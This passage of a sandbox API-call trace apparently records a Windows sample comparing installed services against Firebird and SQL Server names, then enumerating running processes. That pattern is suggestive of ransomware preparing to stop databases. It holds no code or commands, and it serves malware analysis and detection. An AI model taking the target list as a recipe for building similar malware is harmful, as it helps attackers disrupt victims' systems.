lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0140.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0140.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0140.834] lstrlenW (lpString="Dnscache") returned 8 [0140.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0140.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0140.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0140.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0140.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0140.835] lstrlenW (lpString="DPS") returned 3 [0140.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0140.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0140.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0140.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0140.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0140.835] lstrlenW (lpString="DusmSvc") returned 7 [0140.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0140.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0140.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0140.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0140.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0140.835] lstrlenW (lpString="EventLog") returned 8 [0140.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0140.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0140.835] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0140.835] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0140.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0140.835] lstrlenW (lpString="EventSystem") returned 11 [0140.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0140.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0140.932] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0140.932] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0140.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0140.932] lstrlenW (lpString="FontCache") returned 9 [0140.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0140.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0140.933] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0140.933] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0140.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0140.933] lstrlenW (lpString="gpsvc") returned 5 [0140.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0140.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0140.933] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0140.933] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0140.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0140.933] lstrlenW (lpString="iphlpsvc") returned 8 [0140.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0140.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0140.933] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0140.933] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0140.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0140.933] lstrlenW (lpString="KeyIso") returned 6 [0140.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0140.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0140.933] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0140.933] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0140.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0140.933] lstrlenW (lpString="LanmanServer") returned 12 [0140.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0140.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0140.934] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0140.934] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0140.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0140.934] lstrlenW (lpString="LanmanWorkstation") returned 17 [0140.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.934] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0140.934] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0141.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0141.068] lstrlenW (lpString="lfsvc") returned 5 [0141.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0141.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0141.068] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0141.068] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0141.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0141.068] lstrlenW (lpString="lmhosts") returned 7 [0141.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0141.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0141.068] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0141.068] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0141.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0141.068] lstrlenW (lpString="LSM") returned 3 [0141.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0141.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0141.068] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0141.068] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0141.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0141.068] lstrlenW (lpString="MpsSvc") returned 6 [0141.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0141.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0141.069] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0141.069] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0141.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0141.069] lstrlenW (lpString="NcbService") returned 10 [0141.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0141.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0141.069] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0141.069] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0141.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0141.069] lstrlenW (lpString="netprofm") returned 8 [0141.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0141.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0141.069] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0141.069] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0141.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0141.069] lstrlenW (lpString="NgcSvc") returned 6 [0141.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0141.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0141.069] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0141.069] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0141.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0141.069] lstrlenW (lpString="NlaSvc") returned 6 [0141.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0141.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0141.069] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0141.069] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0141.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0141.069] lstrlenW (lpString="nsi") returned 3 [0141.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0141.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0141.069] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0141.069] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0141.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0141.070] lstrlenW (lpString="PcaSvc") returned 6 [0141.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0141.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0141.070] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0141.070] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0141.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0141.070] lstrlenW (lpString="PlugPlay") returned 8 [0141.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0141.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0141.070] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0141.070] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0141.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0141.070] lstrlenW (lpString="Power") returned 5 [0141.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0141.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0141.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0141.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0141.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0141.070] lstrlenW (lpString="ProfSvc") returned 7 [0141.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0141.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0141.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0141.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0141.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0141.070] lstrlenW (lpString="RpcEptMapper") returned 12 [0141.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0141.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0141.070] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0141.070] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0141.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0141.070] lstrlenW (lpString="RpcSs") returned 5 [0141.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0141.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0141.071] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0141.071] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0141.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0141.071] lstrlenW (lpString="SamSs") returned 5 [0141.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0141.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0141.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0141.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0141.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0141.071] lstrlenW (lpString="Schedule") returned 8 [0141.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0141.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0141.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0141.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0141.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0141.071] lstrlenW (lpString="SecurityHealthService") returned 21 [0141.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0141.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0141.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0141.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0141.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0141.071] lstrlenW (lpString="SENS") returned 4 [0141.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0141.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0141.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0141.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0141.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0141.071] lstrlenW (lpString="ShellHWDetection") returned 16 [0141.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0141.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0141.072] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0141.072] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0141.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0141.072] lstrlenW (lpString="Spooler") returned 7 [0141.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0141.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0141.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0141.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0141.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0141.072] lstrlenW (lpString="StateRepository") returned 15 [0141.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0141.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0141.072] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0141.072] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0141.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0141.072] lstrlenW (lpString="SysMain") returned 7 [0141.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0141.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0141.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0141.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0141.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0141.072] lstrlenW (lpString="SystemEventsBroker") returned 18 [0141.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0141.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0141.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0141.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0141.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0141.072] lstrlenW (lpString="Themes") returned 6 [0141.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0141.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0141.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0141.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0141.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0141.073] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0141.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0141.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0141.073] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0141.073] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0141.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44e40c0 | out: hHeap=0x510000) returned 1 [0141.073] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x498 [0141.078] Process32FirstW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.122] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.122] lstrlenW (lpString="System") returned 6 [0141.122] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.123] lstrlenW (lpString="smss.exe") returned 8 [0141.123] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.124] lstrlenW (lpString="csrss.exe") returned 9 [0141.124] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.125] lstrlenW (lpString="wininit.exe") returned 11 [0141.125] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.125] lstrlenW (lpString="csrss.exe") returned 9 [0141.125] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.126] lstrlenW (lpString="winlogon.exe") returned 12 [0141.126] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.127] lstrlenW (lpString="services.exe") returned 12 [0141.127] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.128] lstrlenW (lpString="lsass.exe") returned 9 [0141.128] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.129] lstrlenW (lpString="svchost.exe") returned 11 [0141.129] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.130] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0141.130] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.130] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0141.130] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.131] lstrlenW (lpString="svchost.exe") returned 11 [0141.131] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.132] lstrlenW (lpString="dwm.exe") returned 7 [0141.132] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.133] lstrlenW (lpString="svchost.exe") returned 11 [0141.133] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.134] lstrlenW (lpString="svchost.exe") returned 11 [0141.134] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.135] lstrlenW (lpString="svchost.exe") returned 11 [0141.135] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.135] lstrlenW (lpString="svchost.exe") returned 11 [0141.136] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.136] lstrlenW (lpString="svchost.exe") returned 11 [0141.136] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.137] lstrlenW (lpString="svchost.exe") returned 11 [0141.137] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.138] lstrlenW (lpString="svchost.exe") returned 11 [0141.138] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.139] lstrlenW (lpString="svchost.exe") returned 11 [0141.139] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.140] lstrlenW (lpString="svchost.exe") returned 11 [0141.140] Process32NextW (in: hSnapshot=0x498, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.140] lstrlenW 